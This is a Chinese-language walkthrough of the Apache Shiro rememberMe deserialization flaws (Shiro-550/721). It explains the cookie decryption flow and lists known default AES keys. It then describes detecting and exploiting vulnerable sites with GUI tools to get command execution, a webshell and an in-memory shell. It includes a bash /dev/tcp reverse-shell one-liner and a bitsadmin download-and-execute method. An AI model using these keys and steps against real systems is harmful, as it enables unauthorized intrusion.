1. shiro介绍
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
认证-⽤用户身份识别,常被称为用户”登录”
授权-访问控制
密码加密-保护或隐藏数据防止被偷窥
会话管理-用户相关的时间敏感的状态
漏洞原理
从官方的issue 上来看,存在几个重要的点:
rememberMe cookie
CookieRememberMeManager.java
Base64
AES
加密密钥硬编码
Java serialization
Shiro550:shiro≤1.2.4版本,默认使用了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)
整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:
shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从而引发反序列化漏洞。
常见的key如下:
kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进行遍历key(前提是正常登录得到一个rememberMe的值):
Shiro721:
rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后制作rememberMe来进行反序列化攻击。
Tip:可以结合JRMP gadget使用,可以大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。
3. 影响版本
小于等于1.2.4
4. 检测及利用
1.确定shiro
输入用户名密码。勾选Remember Me选项用burp抓包,然后重放一下。
发现回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)。说明可能存在漏洞。
2.确认是否存在漏洞
可以用工具扫描一下:
存在漏洞。
3.漏洞利用
方法一:
直接使用飞鸿工具检测利用:
填入检测的地址
使用相应探测类型
查看是否存在漏洞
看到+号就说明存在漏洞。检测可结束。
若存在漏洞,可执行命令执行,反弹shell及webshell。可自行学习,提供一下思路。
反弹shell(linux)采用bash -i >& /dev/tcp/IP/监听端口 0>&1的方式反弹 shell
反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell
获取Webshell 可以在能够回显的情况下直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取。
反弹shell:
填入监听地址及端口,执行fire
获取shell成功
方法二:
使用shiro反序列漏洞利用工具检测及利用
1.填入存在漏洞的地址,2.检测及爆破密钥3.检测及爆破利用链4.可命令执行
看到利用链及密钥说明存在漏洞。检测可结束。
后续深入研究自行学习:提供利用内存马执行获取webshell思路。
注入相应内存马:
使用相应webshell工具连接。
Webshell成功。